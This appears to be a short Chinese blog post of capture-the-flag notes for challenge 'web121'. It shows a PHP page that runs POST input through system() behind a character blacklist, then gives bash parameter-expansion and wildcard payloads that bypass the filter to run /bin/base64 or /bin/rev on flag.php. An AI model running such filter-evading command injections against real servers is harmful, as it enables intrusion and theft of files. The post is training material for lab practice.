web121笔记(+SHLVL被禁)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

SHLVL被禁了,用#(可以看看119),就用:${#}:${##}代替${SHLVL},最终payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???     《====》/bin/base64 flag.php

${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???

也可以使用/bin/rev读取,rev命令可以实现文件内容的反序显示,并且其中的v正好在PWD的第一个,不会导致输入值过长。

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.??? 反过来就好了。

这⾥可以构造/bin/bash64来输出,⽽RANDOM的输出在我靶机上⼀般为4和5,很少的时候是3 ${PWD::${##}} 输出/ ${RANDOM} 输出随机数 ${#RANDOM} 输出随机数字的⻓度,所以加上#就是输出他输出内容的⻓度

code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???

 

posted @ 2025-03-17 16:36  justdoIT*  阅读(5)  评论(0)    收藏  举报